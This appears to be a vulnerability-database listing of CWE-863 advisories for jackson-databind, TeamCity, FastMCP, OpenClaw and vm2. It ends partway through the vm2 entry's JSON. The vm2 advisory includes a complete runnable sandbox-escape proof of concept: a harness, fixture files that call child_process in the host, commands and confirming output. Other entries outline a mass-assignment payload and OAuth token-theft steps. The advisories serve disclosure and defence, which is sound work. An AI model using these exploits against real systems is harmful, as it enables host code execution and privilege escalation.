Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

7172 vulnerabilities reference this CWE, most recent first.

GHSA-5GVW-P9QM-JGWH

Vulnerability from github – Published: 2026-07-21 22:00 – Updated: 2026-08-03 20:51
VLAI
Summary
jackson-databind: @JsonView bypassed for @JsonUnwrapped container properties on deserialization
Details

Summary

UnwrappedPropertyHandler.processUnwrapped() replays the buffered JSON for a @JsonUnwrapped property by iterating its properties and calling prop.deserializeAndSet() with no prop.visibleInView(ctxt.getActiveView()) guard — the exact guard processUnwrappedCreatorProperties() received in the #5971 / GHSA-rcqc-6cw3-h962 fix, and the guard BeanDeserializer.deserializeWithUnwrapped applies to directly-matched properties. As a result, a property annotated with both @JsonView(PrivilegedView.class) and @JsonUnwrapped is written from attacker JSON even when deserializing under a more-restrictive active view.

Correction to the original framing (runtime-verified): the gap is NOT a per-field inner @JsonView (the unwrapped sub-object's own BeanDeserializer gates inner fields correctly). The unchecked gate is the view of the unwrapped CONTAINER property.

Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6)

An @JsonView(AdminView) property that is NOT @JsonUnwrapped → null under PublicView (correctly gated). The identical property WITH @JsonUnwrapped → fully populated (bypass). The fix the creator path already received, not applied to the regular-property method.

Impact — write-side mass-assignment / privilege escalation

@JsonView is commonly used as a write-side authorization guard: a public endpoint binds the body under readerWithView(PublicView.class) and groups privileged state in a nested object whose container property is @JsonView(AdminView). When that property is @JsonUnwrapped, an untrusted caller mass-assigns it. PoC: a self-service registration where AccountFlags{role,approved,creditBalance} is @JsonView(AdminView) @JsonUnwrapped; attacker JSON {role:ADMIN,approved:true,creditBalance:1000000} under PublicView binds all three → approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (C:N/I:H/A:N); no worse than the C:L/I:L parent and arguably higher as @JsonView-as-write-guard is the exact use case #5971/#5969 defended.

Affected

  • com.fasterxml.jackson.core:jackson-databind 2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #5973 backport). DEFAULT_VIEW_INCLUSION default=true.
  • tools.jackson.core:jackson-databind 3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x). DEFAULT_VIEW_INCLUSION default=false → the stock-config repro is the common shape where privileged inner fields are individually @JsonView(PublicView) and the developer relies on the container @JsonView(AdminView); the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report's PoC was reportedly fixed on 3.x; this distinct container-property path is not.)

Additive variants (runtime-confirmed both branches; all closed by the same one-line guard)

  • nested @JsonUnwrapped (unwrapped-in-unwrapped) — recursive bypass.
  • merge / readerWithView(...).withValueToUpdate(...) (PATCH/partial-update) — bypass; non-unwrapped merge control gates correctly.
  • builder-based deserializer (@JsonDeserialize(builder=...)) — BuilderBasedDeserializer routes through the same processUnwrapped.
  • Honest non-findings: read-side serialization correctly honors views (no leak); @JsonAnySetter+view and @JsonTypeInfo+@JsonUnwrapped are separate/unsupported behaviors, not this bug.

Fix

Add prop.visibleInView(ctxt.getActiveView()) (when MapperFeature.DEFAULT_VIEW_INCLUSION/active-view applies) to the processUnwrapped() property loop, mirroring processUnwrappedCreatorProperties(). One change closes the impact PoC + all three variants across BeanDeserializer and BuilderBasedDeserializer. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.21.0"
            },
            {
              "fixed": "2.21.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.8"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.18.0"
            },
            {
              "fixed": "2.18.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.22.0"
            },
            {
              "fixed": "2.22.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T22:00:43Z",
    "nvd_published_at": "2026-07-14T21:17:06Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n`UnwrappedPropertyHandler.processUnwrapped()` replays the buffered JSON for a `@JsonUnwrapped` property by iterating its properties and calling `prop.deserializeAndSet()` with **no `prop.visibleInView(ctxt.getActiveView())` guard** \u2014 the exact guard `processUnwrappedCreatorProperties()` received in the #5971 / GHSA-rcqc-6cw3-h962 fix, and the guard `BeanDeserializer.deserializeWithUnwrapped` applies to directly-matched properties. As a result, a property annotated with both `@JsonView(PrivilegedView.class)` and `@JsonUnwrapped` is written from attacker JSON even when deserializing under a more-restrictive active view.\n\n**Correction to the original framing (runtime-verified):** the gap is NOT a per-field inner `@JsonView` (the unwrapped sub-object\u0027s own `BeanDeserializer` gates inner fields correctly). The unchecked gate is the **view of the unwrapped CONTAINER property**.\n\n## Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6)\nAn `@JsonView(AdminView)` property that is NOT `@JsonUnwrapped` \u2192 `null` under `PublicView` (correctly gated). The identical property WITH `@JsonUnwrapped` \u2192 fully populated (bypass). The fix the creator path already received, not applied to the regular-property method.\n\n## Impact \u2014 write-side mass-assignment / privilege escalation\n`@JsonView` is commonly used as a write-side authorization guard: a public endpoint binds the body under `readerWithView(PublicView.class)` and groups privileged state in a nested object whose container property is `@JsonView(AdminView)`. When that property is `@JsonUnwrapped`, an untrusted caller mass-assigns it. PoC: a self-service registration where `AccountFlags{role,approved,creditBalance}` is `@JsonView(AdminView) @JsonUnwrapped`; attacker JSON `{role:ADMIN,approved:true,creditBalance:1000000}` under `PublicView` binds all three \u2192 approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (`C:N/I:H/A:N`); no worse than the C:L/I:L parent and arguably higher as `@JsonView`-as-write-guard is the exact use case #5971/#5969 defended.\n\n## Affected\n- `com.fasterxml.jackson.core:jackson-databind` 2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #5973 backport). `DEFAULT_VIEW_INCLUSION` default=true.\n- `tools.jackson.core:jackson-databind` 3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x). `DEFAULT_VIEW_INCLUSION` default=false \u2192 the stock-config repro is the common shape where privileged inner fields are individually `@JsonView(PublicView)` and the developer relies on the container `@JsonView(AdminView)`; the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report\u0027s PoC was reportedly fixed on 3.x; this distinct container-property path is not.)\n\n## Additive variants (runtime-confirmed both branches; all closed by the same one-line guard)\n- nested `@JsonUnwrapped` (unwrapped-in-unwrapped) \u2014 recursive bypass.\n- merge / `readerWithView(...).withValueToUpdate(...)` (PATCH/partial-update) \u2014 bypass; non-unwrapped merge control gates correctly.\n- builder-based deserializer (`@JsonDeserialize(builder=...)`) \u2014 `BuilderBasedDeserializer` routes through the same `processUnwrapped`.\n- Honest non-findings: read-side serialization correctly honors views (no leak); `@JsonAnySetter`+view and `@JsonTypeInfo`+`@JsonUnwrapped` are separate/unsupported behaviors, not this bug.\n\n## Fix\nAdd `prop.visibleInView(ctxt.getActiveView())` (when `MapperFeature.DEFAULT_VIEW_INCLUSION`/active-view applies) to the `processUnwrapped()` property loop, mirroring `processUnwrappedCreatorProperties()`. One change closes the impact PoC + all three variants across `BeanDeserializer` and `BuilderBasedDeserializer`. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request.",
  "id": "GHSA-5gvw-p9qm-jgwh",
  "modified": "2026-08-03T20:51:31Z",
  "published": "2026-07-21T22:00:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5gvw-p9qm-jgwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/issues/6060"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/pull/6056"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/d627a8a86fcb062429282f79f3f256f181ed2c7b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-databind: @JsonView bypassed for @JsonUnwrapped container properties on deserialization"
}

GHSA-5GWW-24V3-QCFW

Vulnerability from github – Published: 2024-03-28 15:30 – Updated: 2024-03-28 15:30
VLAI
Details

In JetBrains TeamCity before 2024.03 authenticated users without administrative permissions could register other users when self-registration was disabled

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-31134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-28T15:15:46Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains TeamCity before 2024.03 authenticated users without administrative permissions could register other users when self-registration was disabled",
  "id": "GHSA-5gww-24v3-qcfw",
  "modified": "2024-03-28T15:30:34Z",
  "published": "2024-03-28T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31134"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5H2M-4Q8J-PQPJ

Vulnerability from github – Published: 2026-03-16 15:14 – Updated: 2026-03-16 21:55
VLAI
Summary
FastMCP OAuth Proxy token reuse across MCP servers
Details

While testing the OAuth Proxy implementation, it was noticed that the server does not properly respect the resource parameter submitted by the client in the authorization and token request. Instead of issuing the token explicitly for this MCP server, the token is issued for the base_url passed to the OAuthProxy during initialization.

Affected File: https://github.com/jlowin/fastmcp/blob/main/src/fastmcp/server/auth/oauth_proxy.py#L828

Affected Code:

self._jwt_issuer: JWTIssuer = JWTIssuer(
    issuer=str(self.base_url),
    audience=f"{str(self.base_url).rstrip('/')}/mcp",
    signing_key=jwt_signing_key,
)

Since the issued access and refresh tokens do not include information about the resource the token was issued for, it is impossible for the MCP server to properly verify whether the token was issued for it, hence violating the requirement of doing so demanded by the specification. Being able to verify whether the token was issued for the target MCP server enforces the protections offered by the steps proposed by the specification and the Resource Indicators OAuth extension.

Therefore, this misconfiguration exposes all MCP server setups using the FastMCP OAuth Proxy to an attack where an adversary creates a malicious MCP server that advertises the benign OAuth Proxy authorization server as its own authorization server. Once a victim completes an OAuth flow with this malicious MCP server, authenticating against the AS, the adversary can extract the token received at the malicious MCP server and use it to access other MCP servers (the benign ones) that also use the same AS, including the tools and resources they expose.

Steps to reproduce: 1. Extract the provided PoC environment. 2. Enter the client_id and client_secret of a GitHub App you control into the mcp-server-proxy.py script. 3. Start the benign MCP server using an OAuth Proxy (in this case the GitHubProvider): python3 mcp-server-proxy.py. 4. Start the malicious AS: python3 mal_auth_server.py. 5. Start the malicious MCP server: python3 attacker_server.py. 6. Connect the client to the malicious MCP server: python3 client.py. 7. Complete the OAuth flow. 8. Observe in the logs of the malicious MCP server that the request to the benign MCP server with the stolen token returned a 200 status code.

Impact

This vulnerability allows an adversary to steal a victim’s authentication material for a benign MCP server using the FastMCP OAuth Proxy. The severity of this issue was decreased to Medium due to the consent screen showing the name of the MCP server the OAuth Proxy was intended for. However, a victim might not see it or get otherwise convinced by the attacker to ignore it, and overall this does not act as a proper mitigation for this issue.

Mitigation

To mitigate this vulnerability, it is recommended to issue tokens specifically for the MCP server submitted in the authorization URL’s resource GET parameter. In this way, the receiving MCP server will be able to properly verify that the token was indeed issued for it, allowing it to reject tokens stolen by an attack like the one demonstrated above.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fastmcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69196"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T15:14:55Z",
    "nvd_published_at": "2026-03-16T19:16:14Z",
    "severity": "HIGH"
  },
  "details": "While testing the OAuth Proxy implementation, it was noticed that the server does not properly respect the `resource` parameter submitted by the client in the authorization and token request. Instead of issuing the token explicitly for this MCP server, the token is issued for the `base_url` passed to the `OAuthProxy` during initialization. \n\n**Affected File:**\n*https://github.com/jlowin/fastmcp/blob/main/src/fastmcp/server/auth/oauth_proxy.py#L828*\n\n**Affected Code:**\n```python\nself._jwt_issuer: JWTIssuer = JWTIssuer(\n    issuer=str(self.base_url),\n    audience=f\"{str(self.base_url).rstrip(\u0027/\u0027)}/mcp\",\n    signing_key=jwt_signing_key,\n)\n```\n\nSince the issued access and refresh tokens do not include information about the resource the token was issued for, it is impossible for the MCP server to properly verify whether the token was issued for it, hence violating the requirement of doing so demanded by the [specification](https://mcp.mintlify.app/specification/2025-11-25/basic/authorization#token-audience-binding-and-validation). Being able to verify whether the token was issued for the target MCP server enforces the protections offered by the steps proposed by the specification and the Resource Indicators OAuth extension.\n\nTherefore, this misconfiguration exposes all MCP server setups using the FastMCP OAuth Proxy to an attack where an adversary creates a malicious MCP server that advertises the benign OAuth Proxy authorization server as its own authorization server. Once a victim completes an OAuth flow with this malicious MCP server, authenticating against the AS, the adversary can extract the token received at the malicious MCP server and use it to access other MCP servers (the benign ones) that also use the same AS, including the tools and resources they expose.\n\n**Steps to reproduce:**\n1. Extract the provided [PoC environment](https://github.com/user-attachments/files/23839983/improper_resource_validation_fastmcp.tgz).\n2. Enter the *client_id* and *client_secret* of a GitHub App you control into the `mcp-server-proxy.py` script.\n3. Start the benign MCP server using an OAuth Proxy (in this case the *GitHubProvider*): `python3 mcp-server-proxy.py`.\n4. Start the malicious AS: `python3 mal_auth_server.py`.\n5. Start the malicious MCP server: `python3 attacker_server.py`.\n6. Connect the client to the malicious MCP server: `python3 client.py`.\n7. Complete the OAuth flow.\n8. Observe in the logs of the malicious MCP server that the request to the benign MCP server with the stolen token returned a 200 status code.\n\n## Impact\n\nThis vulnerability allows an adversary to steal a victim\u2019s authentication material for a benign MCP server using the FastMCP OAuth Proxy. The severity of this issue was decreased to _Medium_ due to the consent screen showing the name of the MCP server the OAuth Proxy was intended for. However, a victim might not see it or get otherwise convinced by the attacker to ignore it, and overall this does not act as a proper mitigation for this issue.\n\n## Mitigation\n\nTo mitigate this vulnerability, it is recommended to issue tokens specifically for the MCP server submitted in the authorization URL\u2019s `resource` GET parameter. In this way, the receiving MCP server will be able to properly verify that the token was indeed issued for it, allowing it to reject tokens stolen by an attack like the one demonstrated above.",
  "id": "GHSA-5h2m-4q8j-pqpj",
  "modified": "2026-03-16T21:55:10Z",
  "published": "2026-03-16T15:14:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-5h2m-4q8j-pqpj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69196"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrefectHQ/fastmcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastMCP OAuth Proxy token reuse across MCP servers"
}

GHSA-5H2W-QMFP-GGP6

Vulnerability from github – Published: 2026-03-31 23:57 – Updated: 2026-05-08 18:13
VLAI
Summary
OpenClaw: Gateway `operator.write` can reach admin-only persisted `verboseLevel` via `chat.send` `/verbose`
Details

Summary

The chat.send path let authorized write-scoped callers persist /verbose session overrides even though the same stored session mutation is admin-only through sessions.patch.

Impact

A write-scoped gateway caller could persist verbose output for later runs and expose more reasoning or tool output than the operator intended.

Affected Component

src/auto-reply/reply/directive-handling.impl.ts, src/gateway/sessions-patch.ts

Fixed Versions

  • Affected: <= 2026.3.24
  • Patched: >= 2026.3.28
  • Latest stable 2026.3.28 contains the fix.

Fix

Fixed by commit c603123528 (fix(gateway): require admin for persisted verbose defaults).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.24"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41344"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:57:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `chat.send` path let authorized write-scoped callers persist `/verbose` session overrides even though the same stored session mutation is admin-only through `sessions.patch`.\n\n## Impact\n\nA write-scoped gateway caller could persist verbose output for later runs and expose more reasoning or tool output than the operator intended.\n\n## Affected Component\n\n`src/auto-reply/reply/directive-handling.impl.ts, src/gateway/sessions-patch.ts`\n\n## Fixed Versions\n\n- Affected: `\u003c= 2026.3.24`\n- Patched: `\u003e= 2026.3.28`\n- Latest stable `2026.3.28` contains the fix.\n\n## Fix\n\nFixed by commit `c603123528` (`fix(gateway): require admin for persisted verbose defaults`).",
  "id": "GHSA-5h2w-qmfp-ggp6",
  "modified": "2026-05-08T18:13:33Z",
  "published": "2026-03-31T23:57:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5h2w-qmfp-ggp6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41344"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/c6031235288a8d3bdf2243bd974340d8c8045bc2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-privilege-escalation-via-chat-send-verbose-parameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Gateway `operator.write` can reach admin-only persisted `verboseLevel` via `chat.send` `/verbose`"
}

GHSA-5H3F-Q97H-CCVC

Vulnerability from github – Published: 2026-10-05 23:24 – Updated: 2026-10-05 23:24
VLAI
Summary
vm2: NodeVM custom resolution bypasses external path boundaries
Details

Summary

At source revision 91034466bfb7f56b95fd48083ec6ca36d058f164 of vm2 3.11.8, an untrusted NodeVM guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. LegacyResolver.customResolve stores the resolved path in this.externals as ^<path> without an end or separator boundary; a later absolute require of a sibling such as foo2/index.js therefore passes the external check and is loaded through hostRequire when the configured context is host. The decisive attack loaded foo as FOO_OK and then executed the prefix-sharing sibling, which returned PREFIX_PWN after invoking child_process; an otherwise identical control denied the sibling with ENOTFOUND.

Technical Details

The affected configuration is a documented NodeVM use in which the embedder sets require.external to {modules: ['foo'], transitive: false}, supplies a custom resolver that returns the foo directory, sets a root directory, and uses context: 'host'. The guest controls the require specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary node_modules lookup misses and the custom resolver is consulted.

The source-to-sink path is:

  • NodeVM.run executes guest code and creates the module-specific require function at lib/nodevm.js:516-575.
  • DefaultResolver.resolveFull searches normal locations and then dispatches a miss to customResolve at lib/resolver.js:227-316.
  • LegacyResolver.customResolve checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at lib/resolver-compat.js:266-291.
  • isPathAllowedForModule falls back to this.externals.some(regex => regex.test(path)) at lib/resolver-compat.js:193-215. The dynamically appended expression ^/…/node_modules/foo also matches /…/node_modules/foo2/index.js because no path separator or end-of-string condition is required.
  • loadJS uses this.hostRequire(filename) for a host-context file and only wraps the returned exports with vm.readonly at lib/resolver-compat.js:255-263. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.

The relevant current code has the same flaw for both supported custom-resolver return shapes:

if (typeof resolved === 'string') {
    this.externals.push(new RegExp('^' + escapeRegExp(resolved)));
    return this.loadAsFileOrDirectory(resolved, extList);
}
const {module=x, path: resolvedPath} = resolved;
this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));
return this.loadNodeModules(module, [resolvedPath], extList);

The existing anchored bare-specifier matcher and the separator-aware mod.path check address different authorization states. They do not constrain the new this.externals entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.

PoV

The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:

const foo = require('foo');
module.exports = {
    foo,
    sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')
};

The corresponding embedder configuration is:

const vm = new NodeVM({
    require: {
        external: {modules: ['foo'], transitive: false},
        root: '/tmp/vm2-prefix-case',
        context: 'host',
        resolve(name) {
            return name === 'foo'
                ? '/tmp/vm2-prefix-case/node_modules/foo'
                : undefined;
        }
    }
});

The sibling is not itself allowlisted. Its successful load is the authorization violation; the child_process call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.

PoC

From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:

git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164
npm ci --ignore-scripts

Save the following harness as /tmp/custom-resolve-prefix.js:

'use strict';

const path = require('path');
const { NodeVM } = require(process.cwd() + '/lib/main.js');

const [, , mode, fooIndexPath, siblingPath] = process.argv;
const fooDir = path.dirname(fooIndexPath);
const root = path.resolve(fooDir, '../..');
const entry = path.join(path.dirname(root), 'entry.js');
let customCalls = 0;

function runGuest(code) {
    return new NodeVM({
        require: {
            external: {modules: ['foo'], transitive: false},
            root,
            context: 'host',
            resolve(moduleName) {
                if (moduleName === 'foo') {
                    customCalls++;
                    return fooDir;
                }
                return undefined;
            }
        }
    }).run(code, entry);
}

const record = {mode, result: 'invalid'};

try {
    if (mode === 'candidate') {
        const output = runGuest(`
            const foo = require('foo');
            module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};
        `);
        record.output = output;
        if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {
            record.result = 'violation';
            record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';
        } else {
            record.result = 'pass';
        }
    } else if (mode === 'control') {
        try {
            runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);
            record.result = 'violation';
            record.signal = 'prefix-sharing sibling loaded before custom resolution';
        } catch (error) {
            record.result = 'pass';
            record.denial = String(error && (error.code || error.message) || error);
        }
    } else {
        record.error = 'unknown mode';
    }
} catch (error) {
    record.result = 'invalid';
    record.error = String(error && (error.stack || error.message) || error);
}

record.customCalls = customCalls;
console.log(JSON.stringify(record));

Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:

mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2
cat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'
'use strict';
module.exports = 'FOO_OK';
EOF
cat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'
'use strict';
module.exports = require('child_process').execFileSync(
    process.execPath,
    ['-e', "process.stdout.write('PREFIX_PWN')"]
).toString();
EOF

Run the attack and then the negative control from the repository checkout:

node /tmp/custom-resolve-prefix.js candidate \
  /tmp/vm2-prefix-case/node_modules/foo/index.js \
  /tmp/vm2-prefix-case/node_modules/foo2/index.js
node /tmp/custom-resolve-prefix.js control \
  /tmp/vm2-prefix-case/node_modules/foo/index.js \
  /tmp/vm2-prefix-case/node_modules/foo2/index.js

The decisive results were:

{"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1}
{"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0}

Both executions completed successfully with return code 0 in an offline node:bookworm runtime. The attack reached LegacyResolver.customResolve once, while the control reached it zero times. The foo2 fixture can use child_process only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.

Impact

This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a NodeVM with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite transitive: false. The demonstrated sibling executes child_process at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.

Suggested Fix

Make every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the {path: resolvedPath} result:

const externalPath = value => new RegExp(
    '^' + escapeRegExp(value) + '(?:[\\/].*)?$'
);

Use externalPath(resolved) at the string-return branch and externalPath(resolvedPath) at the object-return branch. A path-aware canonical comparison shared with isPathAllowedForModule is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted foo and after customResolve has appended a new regex.

Add regression coverage that configures external: {modules: ['foo'], transitive: false}, a custom resolver returning foo, and context: 'host'; it should require foo and then assert that the absolute foo2/index.js sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving foo, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither this.externals.push branch can reintroduce the prefix authorization.

Affected Package/Versions

  • Package: vm2 in the npm ecosystem.
  • Tested package version: 3.11.8, at source revision 91034466bfb7f56b95fd48083ec6ca36d058f164.
  • Affected version range tested: pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164.
  • Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.
  • Patched versions: none identified by the tested evidence.
  • Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.

Advisory History

The closest public match is GHSA-7q3f-wx44-378m, titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the mod.path.startsWith(path) logic in isPathAllowedForModule for a relative require from an allowlisted package. Its public fix is commit 6ac3916da84e060c403e407b6b6318fcc66b0e72, which adds a path-boundary check to isPathAllowedForModule while leaving the filename-side this.externals fallback unchanged. A related public resolver fix is commit ab4ee7d803e8c80155e9eb3672226bddbca4aa9c, which rejects .. traversal in allowlisted subpaths and explicitly leaves the filename-side this.externals matcher untouched. This finding has a separate fix surface: the current customResolve function appends new raw-prefix regular expressions to this.externals at both custom-resolver return branches, which those public fixes do not describe or patch.

GHSA-c48m-32m9-vx93, “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side externalCache matcher and rejects .. segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: customResolve appends a filename-side raw-prefix regular expression to this.externals, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
